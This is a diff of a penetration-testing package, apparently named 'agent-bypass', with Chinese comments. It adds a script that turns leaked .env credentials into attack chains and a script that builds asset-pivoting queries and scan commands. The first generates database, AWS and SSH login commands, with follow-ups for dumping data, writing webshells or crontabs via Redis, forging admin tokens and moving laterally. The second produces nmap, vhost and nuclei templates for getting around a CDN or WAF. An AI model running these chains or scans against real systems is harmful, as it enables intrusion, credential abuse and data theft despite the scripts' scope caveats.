agent-bypass 2.18.0 → 2.20.1

package/references/tool-selection.md

@@ -9,6 +9,8 @@
 - 常用：`rg -n 关键词 路径`（行号）· `rg -l`（只列文件）· `rg -i`（忽略大小写）· `rg -S`（智能大小写）· `rg --hidden -g '!node_modules'` · `rg -A/-B/-C`（上下文）· `rg -f patterns.txt`（模式文件）。
 - **fake-IP / TUN 环境**：`scripts/netdns.py`（DoH 真 IP）、`scripts/doh_resolve.sh`、`scripts/origin_trace.py`（源站溯源）；细节见 `references/fake-ip-tun.md`。
 - **爆破**：字典/锁定/验证细节见 `references/bruteforce-playbook.md`。
+- **打不动扩面**：`scripts/pivot_queries.py`（同 IP/C 段/证书/favicon/body/ASN → 7 引擎查询）；方法论见 `references/search-engine-pivot.md`。
+- **多路径攻击**：`.env`→`scripts/env_chain.py`（分类+链）、源站 IP→`origin_trace.py`、SSH/MySQL/Redis/云 AK 并行；见 `references/multi-path-attack.md`。
 
 ## A. 按文件类型和任务选工具
 
@@ -23,6 +25,8 @@
 | `web_static` HAR/JS/OpenAPI | rg、jq、Python JSON 解析 | 手工解析本地文件 | 接口清单、数据流、来源路径 |
 | `authorized_http` 已明确授权的测试系统 | curl、httpx、浏览器开发者工具 | 仅公开的被动检查 | 已批准的目标、范围、请求证据和退出条件 |
 | `forensics` 取证镜像/日志 | Volatility3、exiftool、hash 工具 | strings、标准库 | 证据哈希、时间线、分析环境 |
+| `pivot` 同 IP/同簇资产扩散 | FOFA / Shodan / Quake / ZoomEye / Hunter / Censys / Netlas + `scripts/pivot_queries.py` | 手工查询 | 查询语法、命中列表、同源证据（证书/favicon/body/直连对比） |
+| `multi_path` 多路径攻击 | `.env`→`scripts/env_chain.py`；源站→`origin_trace.py`；扩面→`pivot_queries.py`；SSH/MySQL/AWS CLI | 手工只读验证 | 凭据分类、只读验证命令、攻击图、命中证据 |
 
 ## B. 原始 scripts 的地位与已知缺口
 

package/scripts/env_chain.py

@@ -0,0 +1,337 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+"""env_chain — .env / 配置泄漏 → 凭据分类 → 多路径攻击链生成（离线，只读）
+
+场景：拿到 .env / config / docker-compose / 备份配置后，快速识别里面有哪些凭据面
+（MySQL/Redis/PostgreSQL/MongoDB、AWS/云 AK、JWT_SECRET/APP_KEY、SMTP、SSH），
+生成「只读验证 → 多路径链」的命令模板与攻击图。不联网、不写目标，命令默认脱敏。
+
+用法:
+  python3 env_chain.py .env
+  cat .env | python3 env_chain.py -
+  python3 env_chain.py .env --reveal          # 输出含真实密钥的命令（谨慎，别贴日志）
+  python3 env_chain.py .env --json
+  python3 env_chain.py .env --ip 1.2.3.4      # 给 SSH 等命令补目标 IP
+"""
+import json
+import re
+import sys
+import urllib.parse
+
+try:
+    import argsmini as argparse
+except Exception:
+    import argparse  # type: ignore
+
+MASK = "***"
+
+# 分类规则（按优先级从上到下）
+RULES = [
+    ("db_url", re.compile(r"^(DATABASE_URL|DB_URL|MYSQL_URL|POSTGRES_URL|MONGO_URL|MONGODB_URL|REDIS_URL)$")),
+    ("mysql", re.compile(r"^(MYSQL|MARIADB)_|^(DB_HOST|DB_PORT|DB_USER|DB_USERNAME|DB_PASS|DB_PASSWORD|DB_NAME|DB_DATABASE)$")),
+    ("postgres", re.compile(r"^(POSTGRES|PG(HOST|PORT|USER|PASSWORD|DB))")),
+    ("mongo", re.compile(r"^(MONGO|MONGODB)_")),
+    ("redis", re.compile(r"^REDIS_")),
+    ("aws", re.compile(r"^(AWS_|S3_|BUCKET_|AMAZON_)")),
+    ("cloud", re.compile(r"^(ALIYUN|ALI_OSS|OSS_|TENCENT|COS_|AZURE|GCP|GOOGLE_)")),
+    ("secret", re.compile(r"^(JWT_SECRET|JWT_KEY|SECRET_KEY|SECRET|APP_KEY|APP_SECRET|SESSION_SECRET|API_SECRET|ENCRYPTION_KEY)$")),
+    ("smtp", re.compile(r"^(SMTP|MAIL|EMAIL)_|^(SMTP_HOST|SMTP_USER|SMTP_PASS|SMTP_PASSWORD)$")),
+    ("ssh", re.compile(r"SSH_|PRIVATE_KEY|ID_RSA")),
+    ("api_key", re.compile(r"^(GITHUB|GITLAB|STRIPE|SLACK|TELEGRAM|DINGTALK|WECHAT|ALIPAY|PAY)_")),
+]
+
+
+def parse_env(text):
+    """解析 .env / key=value 配置 → dict（去注释、引号、export 前缀）。"""
+    out = {}
+    for raw in str(text or "").splitlines():
+        line = raw.strip()
+        if not line or line.startswith("#") or line.startswith(";"):
+            continue
+        line = re.sub(r"^export\s+", "", line)
+        if "=" not in line:
+            continue
+        key, _, val = line.partition("=")
+        key, val = key.strip(), val.strip()
+        if len(val) >= 2 and val[0] in "\"'" and val[-1] == val[0]:
+            val = val[1:-1]
+        if key:
+            out[key] = val
+    return out
+
+
+def classify(key):
+    for group, rx in RULES:
+        if rx.search(key.upper()):
+            return group
+    return "other"
+
+
+def _pick(env, names, default=""):
+    for n in names:
+        if env.get(n):
+            return env[n]
+    return default
+
+
+def _parse_url(url):
+    """DATABASE_URL/REDIS_URL → dict(service, host, port, user, password, db)。"""
+    try:
+        u = urllib.parse.urlparse(url)
+    except Exception:
+        return None
+    schemes = {"mysql": 3306, "mariadb": 3306, "postgres": 5432, "postgresql": 5432,
+               "mongodb": 27017, "redis": 6379, "rediss": 6379}
+    scheme = (u.scheme or "").lower()
+    if scheme not in schemes:
+        return None
+    return {
+        "service": scheme,
+        "host": u.hostname or "",
+        "port": u.port or schemes[scheme],
+        "user": urllib.parse.unquote(u.username or ""),
+        "password": urllib.parse.unquote(u.password or ""),
+        "db": (u.path or "/").lstrip("/"),
+    }
+
+
+def extract(env):
+    """从 env dict 提取服务凭据/密钥/云 AK/SMTP/SSH → 结构化 findings。"""
+    groups = {}
+    for k, v in env.items():
+        groups.setdefault(classify(k), {})[k] = v
+
+    services = []
+    # 1) URL 型（优先级最高）
+    for k in env:
+        if classify(k) == "db_url" and "://" in env[k]:
+            svc = _parse_url(env[k])
+            if svc:
+                svc["source"] = k
+                services.append(svc)
+    # 2) 分离字段型
+    mysql = {
+        "service": "mysql",
+        "host": _pick(env, ["MYSQL_HOST", "DB_HOST"]),
+        "port": int(_pick(env, ["MYSQL_PORT", "DB_PORT"], "3306") or 3306),
+        "user": _pick(env, ["MYSQL_USER", "MYSQL_USERNAME", "DB_USER", "DB_USERNAME"]),
+        "password": _pick(env, ["MYSQL_PASSWORD", "MYSQL_PASS", "DB_PASSWORD", "DB_PASS"]),
+        "db": _pick(env, ["MYSQL_DATABASE", "MYSQL_DB", "DB_NAME", "DB_DATABASE"]),
+        "source": "MYSQL_*/DB_*",
+    }
+    if mysql["host"] or mysql["user"] or mysql["password"]:
+        services.append(mysql)
+    pg = {
+        "service": "postgres",
+        "host": _pick(env, ["POSTGRES_HOST", "PGHOST"]),
+        "port": int(_pick(env, ["POSTGRES_PORT", "PGPORT"], "5432") or 5432),
+        "user": _pick(env, ["POSTGRES_USER", "PGUSER"]),
+        "password": _pick(env, ["POSTGRES_PASSWORD", "PGPASSWORD"]),
+        "db": _pick(env, ["POSTGRES_DB", "PGDATABASE"]),
+        "source": "POSTGRES_*/PG*",
+    }
+    if pg["host"] or pg["user"] or pg["password"]:
+        services.append(pg)
+    redis = {
+        "service": "redis",
+        "host": _pick(env, ["REDIS_HOST"]),
+        "port": int(_pick(env, ["REDIS_PORT"], "6379") or 6379),
+        "user": _pick(env, ["REDIS_USER"]),
+        "password": _pick(env, ["REDIS_PASSWORD", "REDIS_PASS"]),
+        "db": _pick(env, ["REDIS_DB"]),
+        "source": "REDIS_*",
+    }
+    if redis["host"] or redis["password"]:
+        services.append(redis)
+
+    # 去重
+    uniq, seen = [], set()
+    for s in services:
+        key = (s["service"], s["host"], s["port"], s["user"])
+        if key not in seen:
+            seen.add(key)
+            uniq.append(s)
+
+    aws = {}
+    if env.get("AWS_ACCESS_KEY_ID") or env.get("AWS_SECRET_ACCESS_KEY"):
+        aws = {
+            "access_key": env.get("AWS_ACCESS_KEY_ID", ""),
+            "secret_key": env.get("AWS_SECRET_ACCESS_KEY", ""),
+            "region": env.get("AWS_REGION", env.get("AWS_DEFAULT_REGION", "")),
+            "source": "AWS_*",
+        }
+
+    secrets = {k: v for k, v in env.items() if classify(k) == "secret"}
+    smtp = {k: v for k, v in env.items() if classify(k) == "smtp"}
+    ssh = {k: v for k, v in env.items() if classify(k) == "ssh"}
+    return {
+        "groups": {g: {k: (MASK if _sensitive(g) else v) for k, v in d.items()}
+                   for g, d in groups.items()},
+        "services": uniq,
+        "aws": aws,
+        "secrets": secrets,
+        "smtp": smtp,
+        "ssh": ssh,
+        "raw_count": len(env),
+    }
+
+
+def _sensitive(group):
+    return group in ("mysql", "postgres", "mongo", "redis", "aws", "cloud", "secret", "smtp", "ssh", "db_url", "api_key")
+
+
+def _q(val):
+    if val is None or val == "":
+        return "<空>"
+    return str(val)
+
+
+def build_chains(data, reveal=False, ip=""):
+    """生成多路径链：{path, from, target, verify(commands), next, risk}"""
+    def secret(v):
+        if reveal:
+            return _q(v)
+        return MASK if v else "<空>"
+
+    chains = []
+    host_hint = ip or "<HOST>"
+    for s in data["services"]:
+        host = s["host"] or host_hint
+        if s["service"] in ("mysql", "mariadb"):
+            cmd = ("mysql -h %s -P %s -u %s -p'%s' -e 'select version(), current_user(); show databases;'"
+                   % (host, s["port"], _q(s["user"] or "root"), secret(s["password"])))
+            chains.append({
+                "path": ".env → MySQL 凭据 → 只读验证/拖库 → 同口令复用 SSH/面板",
+                "from": s["source"], "target": "%s:%s" % (host, s["port"]),
+                "verify": cmd,
+                "next": "secure_file_priv 检查 → 读/写文件（授权内）→ 用户哈希离线 → 同口令横向",
+                "risk": "high" if s["password"] else "medium",
+            })
+        elif s["service"] in ("postgres", "postgresql"):
+            chains.append({
+                "path": ".env → PostgreSQL 凭据 → 只读验证 → 拖库/命令执行（授权内）",
+                "from": s["source"], "target": "%s:%s" % (host, s["port"]),
+                "verify": "PGPASSWORD='%s' psql -h %s -p %s -U %s -d %s -c 'select version(), current_user;'"
+                          % (secret(s["password"]), host, s["port"], _q(s["user"] or "postgres"), _q(s["db"] or "postgres")),
+                "next": "pg_read_file / COPY PROGRAM / 扩展提权；同口令复用",
+                "risk": "high" if s["password"] else "medium",
+            })
+        elif s["service"] == "redis":
+            chains.append({
+                "path": ".env → Redis 凭据 → 只读验证 → 写 shell/crontab/主从复制（授权内）",
+                "from": s["source"], "target": "%s:%s" % (host, s["port"]),
+                "verify": "redis-cli -h %s -p %s%s ping" % (host, s["port"],
+                          (" -a '%s'" % secret(s["password"])) if s["password"] else ""),
+                "next": "config get dir/dbfilename → 写 webshell/authorized_keys/crontab（写前备份）",
+                "risk": "high" if s["password"] else "medium",
+            })
+        elif s["service"] == "mongodb":
+            chains.append({
+                "path": ".env → MongoDB 凭据 → 只读验证/拖库",
+                "from": s["source"], "target": "%s:%s" % (host, s["port"]),
+                "verify": "mongosh 'mongodb://%s:%s@%s:%s/%s' --eval 'db.runCommand({ping:1})'"
+                          % (_q(s["user"]), secret(s["password"]), host, s["port"], _q(s["db"] or "")),
+                "next": "未授权/弱口令优先；只读集合导出",
+                "risk": "medium",
+            })
+
+    if data["aws"]:
+        chains.append({
+            "path": ".env → AWS AK → STS 验证 → S3/ECS/其他云资源（授权内）",
+            "from": data["aws"]["source"], "target": "aws",
+            "verify": "AWS_ACCESS_KEY_ID='%s' AWS_SECRET_ACCESS_KEY='%s' AWS_DEFAULT_REGION='%s' aws sts get-caller-identity"
+                      % (secret(data["aws"]["access_key"]), secret(data["aws"]["secret_key"]), _q(data["aws"]["region"])),
+            "next": "aws s3 ls；按权限枚举 S3/ECR/ECS/SSM；只读验证 → 影响评估",
+            "risk": "high",
+        })
+    if data["secrets"]:
+        chains.append({
+            "path": ".env → JWT_SECRET/SECRET_KEY → 伪造 token / 会话签名",
+            "from": "SECRET_*", "target": "web",
+            "verify": "# 用真实 token 做 HS256 验签复现（离线）：hashcat -m 16500 token.txt 或 jwt_tool 验证",
+            "next": "伪造管理员 token 打后台（授权内）；Laravel APP_KEY 泄漏 → 反序列化/RCE 风险",
+            "risk": "high",
+        })
+    if data["smtp"]:
+        chains.append({
+            "path": ".env → SMTP 凭据 → 发信能力验证（授权内）",
+            "from": "SMTP_*", "target": "smtp",
+            "verify": "# python3 smtplib 登录测试（只发给自己）；注意反垃圾/发信限额",
+            "next": "同凭据试其他系统邮箱复用到后台找回/通知面",
+            "risk": "low",
+        })
+    if data["ssh"]:
+        chains.append({
+            "path": ".env/备份 → SSH 私钥/用户 → SSH 登录 → 内网横向",
+            "from": "SSH_*/PRIVATE_KEY", "target": "%s:22" % host_hint,
+            "verify": "ssh -i <key> -o BatchMode=yes -o ConnectTimeout=5 %s 'id; hostname'"
+                      % _q(data["ssh"].get("SSH_USER") or "<user>"),
+            "next": "authorized_keys/端口转发/内网 DB 暴露；私钥复用其他主机",
+            "risk": "high",
+        })
+    return chains
+def main(argv=None):
+    ap = argparse.ArgumentParser(description=".env/配置泄漏 → 凭据分类 → 多路径攻击链（离线只读）")
+    ap.add_argument("file", nargs="?", help=".env 文件路径；'-' 或省略读 stdin")
+    ap.add_argument("--reveal", action="store_true", help="输出含真实密钥的命令（默认脱敏）")
+    ap.add_argument("--ip", default="", help="补充目标 IP（SSH/未写 host 的服务命令用）")
+    ap.add_argument("--json", action="store_true")
+    a = ap.parse_args(argv)
+
+    if a.file in (None, "-"):
+        text = sys.stdin.read()
+        src = "stdin"
+    else:
+        try:
+            with open(a.file, encoding="utf-8", errors="ignore") as f:
+                text = f.read()
+            src = a.file
+        except OSError as e:
+            print("[错误] 读取失败: %s" % e, file=sys.stderr)
+            return 2
+    env = parse_env(text)
+    if not env:
+        print("[错误] 未解析到任何 key=value（不是 .env/配置文件？）", file=sys.stderr)
+        return 2
+    data = extract(env)
+    chains = build_chains(data, reveal=a.reveal, ip=a.ip)
+    services_out = []
+    for s in data["services"]:
+        s2 = dict(s)
+        if not a.reveal:
+            s2["password"] = MASK if s2.get("password") else ""
+        services_out.append(s2)
+    payload = {"source": src, "env_keys": data["raw_count"], "groups": data["groups"],
+               "services": services_out,
+               "aws": {k: (v if a.reveal or k == "source" else MASK) for k, v in data["aws"].items()} if data["aws"] else {},
+               "chains": chains,
+               "note": "命令默认脱敏；--reveal 输出真实值。只读验证优先，写操作先备份并确认授权范围。"}
+    if a.json:
+        print(json.dumps(payload, ensure_ascii=False, indent=2))
+        return 0
+
+    print("# 来源: %s | 解析 %d 个键" % (src, data["raw_count"]))
+    print("\n## 识别到的凭据面")
+    for g, d in data["groups"].items():
+        if g in ("other",) or not d:
+            continue
+        print("- %-9s %s" % (g, ", ".join(sorted(d)[:8]) + (" ..." if len(d) > 8 else "")))
+    if data["services"]:
+        print("\n## 服务凭据")
+        for s in data["services"]:
+            print("- %-8s %s:%s user=%s db=%s（来源 %s）" % (
+                s["service"], s["host"] or "<HOST>", s["port"], s["user"] or "-", s["db"] or "-", s["source"]))
+    print("\n## 多路径链（只读验证优先）")
+    for i, c in enumerate(chains, 1):
+        print("\n[%d] %s" % (i, c["path"]))
+        print("    目标: %s | 风险: %s" % (c["target"], c["risk"]))
+        print("    验证: %s" % c["verify"])
+        print("    下一步: %s" % c["next"])
+    if not chains:
+        print("- 未识别到可直接利用的凭据（可能只有普通配置项）")
+    print("\n# 范围纪律：只对授权资产验证；写操作前备份；密钥勿贴日志/报告。")
+    return 0
+
+
+if __name__ == "__main__":
+    sys.exit(main())

package/scripts/pivot_queries.py

@@ -0,0 +1,321 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+"""pivot_queries — 资产扩散/同 IP 旁站查询生成器（FOFA / Shodan / Quake / ZoomEye / Hunter / Censys / Netlas）
+
+场景：主站打不动（CDN/WAF/无洞/加固严），用测绘引擎按「同 IP、C 段、同证书、同 favicon、
+同 body、同 title、同 ASN、同端口/指纹」反查同簇资产，找同系统/同模板的兄弟站，先打最弱一环，
+再凭共享凭据/共享 DB/共享存储/反代配置回打主站。
+
+本工具只生成查询与扫描命令模板，不联网（favicon 若给 URL 才下载一次）；只读。
+先确认关系再打：同 IP 不等于同资产（CDN 共享 IP 会误伤无关站点），必须多维交叉 + 授权范围内。
+
+用法:
+  python3 pivot_queries.py --domain example.com --ip 1.2.3.4
+  python3 pivot_queries.py --domain example.com --favicon https://example.com/favicon.ico
+  python3 pivot_queries.py --domain example.com --cert example.com --asn AS13335 --json
+  python3 pivot_queries.py --domain example.com --title "Example" --body "unique-snippet"
+"""
+import base64
+import hashlib
+import json
+import os
+import re
+import sys
+import urllib.request
+
+try:
+    import argsmini as argparse
+except Exception:                     # 直接运行/单测环境兜底
+    import argparse  # type: ignore
+
+UA = "Mozilla/5.0 (compatible; pivot-queries/1.0)"
+ENGINES = ("fofa", "shodan", "quake", "zoomeye", "hunter", "censys", "netlas")
+
+
+# ---------------------------------------------------------------- 哈希
+
+def murmur3_32(data, seed=0):
+    """MurmurHash3 x86 32-bit（与 mmh3.hash 一致，返回 signed int）。"""
+    data = bytes(data)
+    c1, c2 = 0xCC9E2D51, 0x1B873593
+    length = len(data)
+    h1 = seed
+    end = length - (length % 4)
+    for i in range(0, end, 4):
+        k1 = int.from_bytes(data[i:i + 4], "little")
+        k1 = (k1 * c1) & 0xFFFFFFFF
+        k1 = ((k1 << 15) | (k1 >> 17)) & 0xFFFFFFFF
+        k1 = (k1 * c2) & 0xFFFFFFFF
+        h1 ^= k1
+        h1 = ((h1 << 13) | (h1 >> 19)) & 0xFFFFFFFF
+        h1 = (h1 * 5 + 0xE6546B64) & 0xFFFFFFFF
+    tail = data[end:]
+    k1 = 0
+    if len(tail) >= 3:
+        k1 ^= tail[2] << 16
+    if len(tail) >= 2:
+        k1 ^= tail[1] << 8
+    if len(tail) >= 1:
+        k1 ^= tail[0]
+        k1 = (k1 * c1) & 0xFFFFFFFF
+        k1 = ((k1 << 15) | (k1 >> 17)) & 0xFFFFFFFF
+        k1 = (k1 * c2) & 0xFFFFFFFF
+        h1 ^= k1
+    h1 ^= length
+    h1 ^= h1 >> 16
+    h1 = (h1 * 0x85EBCA6B) & 0xFFFFFFFF
+    h1 ^= h1 >> 13
+    h1 = (h1 * 0xC2B2AE35) & 0xFFFFFFFF
+    h1 ^= h1 >> 16
+    return h1 - 0x100000000 if h1 >= 0x80000000 else h1
+
+
+def favicon_hashes(data):
+    """favicon → (FOFA icon_hash, 备用 raw mmh3)。
+
+    FOFA/Shodan 主流口径：mmh3(base64(favicon)) 的 signed 32-bit；
+    部分实现/新版引擎可能用原始字节，故同时给出 raw 值备用。
+    """
+    b64 = base64.b64encode(bytes(data))
+    return murmur3_32(b64), murmur3_32(bytes(data))
+
+
+def fetch_favicon(url, timeout=8.0):
+    req = urllib.request.Request(url, headers={"user-agent": UA})
+    with urllib.request.urlopen(req, timeout=timeout) as r:
+        return r.read(1 << 20)
+
+
+def favicon_from_arg(arg):
+    if re.match(r"^https?://", arg or "", re.I):
+        return fetch_favicon(arg)
+    with open(arg, "rb") as f:
+        return f.read(1 << 20)
+
+
+# ---------------------------------------------------------------- 查询生成
+
+def build_queries(info):
+    """按输入生成各引擎查询（列表），返回 {engine: [query...]}。"""
+    ip = (info.get("ip") or "").strip()
+    cidr = (info.get("cidr") or "").strip()
+    domain = (info.get("domain") or "").strip()
+    cert = (info.get("cert") or "").strip()
+    title = (info.get("title") or "").strip()
+    body = (info.get("body") or "").strip()
+    asn = (info.get("asn") or "").strip().upper().replace("AS", "")
+    port = str(info.get("port") or "").strip()
+    icon = info.get("icon_hash")
+    icon_raw = info.get("icon_hash_raw")
+    out = {}
+
+    fofa = []
+    if domain:
+        fofa.append('domain="%s"' % domain)
+    if ip:
+        fofa.append('ip="%s"' % ip)
+    if cidr:
+        fofa.append('ip="%s"' % cidr)
+    if cert:
+        fofa.append('cert="%s"' % cert)
+    if icon is not None:
+        fofa.append('icon_hash="%s"' % icon)
+    if body:
+        fofa.append('body="%s"' % body)
+    if title:
+        fofa.append('title="%s"' % title)
+    if asn:
+        fofa.append('asn="%s"' % asn)
+    if port:
+        fofa.append('port="%s"' % port)
+    out["fofa"] = fofa
+
+    shodan = []
+    if ip:
+        shodan.append("ip:%s" % ip)
+    if cidr:
+        shodan.append("net:%s" % cidr)
+    if domain:
+        shodan.append("hostname:%s" % domain)
+    if cert:
+        shodan.append('ssl.cert.subject.cn:"%s"' % cert)
+    if icon is not None:
+        shodan.append("http.favicon.hash:%s" % icon)
+    if title:
+        shodan.append('http.title:"%s"' % title)
+    if body:
+        shodan.append('http.html:"%s"' % body)
+    if asn:
+        shodan.append("asn:AS%s" % asn)
+    if port:
+        shodan.append("port:%s" % port)
+    out["shodan"] = shodan
+
+    quake = []
+    if ip:
+        quake.append('ip:"%s"' % ip)
+    if cidr:
+        quake.append('ip:"%s"' % cidr)
+    if domain:
+        quake.append('domain:"%s"' % domain)
+    if cert:
+        quake.append('cert:"%s"' % cert)
+    if title:
+        quake.append('title:"%s"' % title)
+    if body:
+        quake.append('body:"%s"' % body)
+    if icon is not None:
+        quake.append('favicon:"%s"' % icon)
+    if port:
+        quake.append('port:"%s"' % port)
+    out["quake"] = quake
+
+    zoomeye = []
+    if ip:
+        zoomeye.append("ip:%s" % ip)
+    if cidr:
+        zoomeye.append("cidr:%s" % cidr)
+    if cert:
+        zoomeye.append("ssl.cert:%s" % cert)
+    if title:
+        zoomeye.append("title:%s" % title)
+    if icon is not None:
+        zoomeye.append("iconhash:%s" % icon)
+    if port:
+        zoomeye.append("port:%s" % port)
+    out["zoomeye"] = zoomeye
+
+    hunter = []
+    if ip:
+        hunter.append('ip="%s"' % ip)
+    if cidr:
+        hunter.append('ip="%s"' % cidr)
+    if domain:
+        hunter.append('domain="%s"' % domain)
+    if cert:
+        hunter.append('cert="%s"' % cert)
+    if title:
+        hunter.append('web.title="%s"' % title)
+    if body:
+        hunter.append('web.body="%s"' % body)
+    if port:
+        hunter.append('port="%s"' % port)
+    out["hunter"] = hunter
+
+    censys = []
+    if ip:
+        censys.append("ip: %s" % ip)
+    if cidr:
+        censys.append("ip: %s" % cidr)
+    if asn:
+        censys.append("autonomous_system.asn: %s" % asn)
+    if cert:
+        censys.append('services.tls.certificates.leaf_data.subject.common_name: "%s"' % cert)
+    if title:
+        censys.append('services.http.response.html_title: "%s"' % title)
+    out["censys"] = censys
+
+    netlas = []
+    if ip:
+        netlas.append("ip:%s" % ip)
+    if domain:
+        netlas.append("domain:%s" % domain)
+    if cert:
+        netlas.append("cert:%s" % cert)
+    if icon is not None:
+        netlas.append("favicon.hash:%s" % icon)
+    out["netlas"] = netlas
+
+    return out
+
+
+def build_scan_templates(info):
+    """后续扫描/验证命令模板（只读，需操作员自行确认授权）。"""
+    ip = (info.get("ip") or "<IP>").strip()
+    domain = (info.get("domain") or "<DOMAIN>").strip()
+    port = str(info.get("port") or "").strip()
+    pflag = port if port else "-"
+    return [
+        "# 端口与服务（-n 禁解析，避免 fake-IP；-Pn 跳主机发现）",
+        "nmap -n -Pn -sV -p- --min-rate 2000 %s" % ip,
+        "",
+        "# 同 IP 多 vhost 枚举（Host 头换绑，对比状态码/长度/标题）",
+        "for h in $(cat subs.txt); do "
+        "curl -sk -o /dev/null -w \"%%{http_code} %%{size_download} $h\\n\" -H \"Host: $h\" http://%s/; done" % ip,
+        "",
+        "# 指定端口 + SNI 验证（绕过 CDN/fake-IP 直接打真实 IP）",
+        "curl -sk --resolve %s:%s:%s https://%s/" % (domain, pflag, ip, domain),
+        "",
+        "# 指纹/CVE/面板/默认口令（按指纹选模板；先 -severity 降噪）",
+        "nuclei -l urls.txt -tags cve -severity critical,high -stats",
+        "nuclei -u https://%s -tags exposed-panels,default-logins,tech" % domain,
+        "",
+        "# 同簇扩散：把命中的兄弟站加入 urls.txt，凭据/接口交叉复用后回打主站",
+    ]
+
+
+# ---------------------------------------------------------------- 入口
+
+def collect_info(a):
+    info = {
+        "domain": getattr(a, "domain", None),
+        "ip": getattr(a, "ip", None),
+        "cidr": getattr(a, "cidr", None),
+        "cert": getattr(a, "cert", None),
+        "title": getattr(a, "title", None),
+        "body": getattr(a, "body", None),
+        "asn": getattr(a, "asn", None),
+        "port": getattr(a, "port", None),
+    }
+    if getattr(a, "favicon", None):
+        data = favicon_from_arg(a.favicon)
+        h_b64, h_raw = favicon_hashes(data)
+        info["icon_hash"] = h_b64
+        info["icon_hash_raw"] = h_raw
+        info["icon_md5"] = hashlib.md5(data).hexdigest()
+    return info
+
+
+def main(argv=None):
+    ap = argparse.ArgumentParser(description="资产扩散/同 IP 旁站查询生成器（离线，只读）")
+    ap.add_argument("--domain")
+    ap.add_argument("--ip")
+    ap.add_argument("--cidr")
+    ap.add_argument("--cert")
+    ap.add_argument("--title")
+    ap.add_argument("--body")
+    ap.add_argument("--asn", help="AS 号，可带或不带 AS 前缀")
+    ap.add_argument("--port", type=int)
+    ap.add_argument("--favicon", help="favicon URL 或本地文件路径（计算 icon_hash）")
+    ap.add_argument("--json", action="store_true")
+    a = ap.parse_args(argv)
+
+    if not any([a.domain, a.ip, a.cidr, a.cert, a.title, a.body, a.asn, a.favicon]):
+        print("[错误] 至少给一个输入：--domain/--ip/--cidr/--cert/--title/--body/--asn/--favicon", file=sys.stderr)
+        return 2
+    info = collect_info(a)
+    queries = build_queries(info)
+    templates = build_scan_templates(info)
+    payload = {"input": info, "queries": queries, "scan_templates": templates}
+
+    if a.json:
+        print(json.dumps(payload, ensure_ascii=False, indent=2))
+        return 0
+
+    print("# 输入: " + ", ".join("%s=%s" % (k, v) for k, v in info.items() if v not in (None, "")))
+    for engine in ENGINES:
+        qs = [q for q in queries.get(engine, []) if q]
+        if not qs:
+            continue
+        print("\n## %s" % engine.upper())
+        for q in qs:
+            print(q)
+    print("\n## 后续扫描/验证模板")
+    for line in templates:
+        print(line)
+    print("\n# 先多维交叉确认「同簇/同源」再打；CDN 共享 IP 会误伤无关站点；只在授权范围内扩散。")
+    return 0
+
+
+if __name__ == "__main__":
+    sys.exit(main())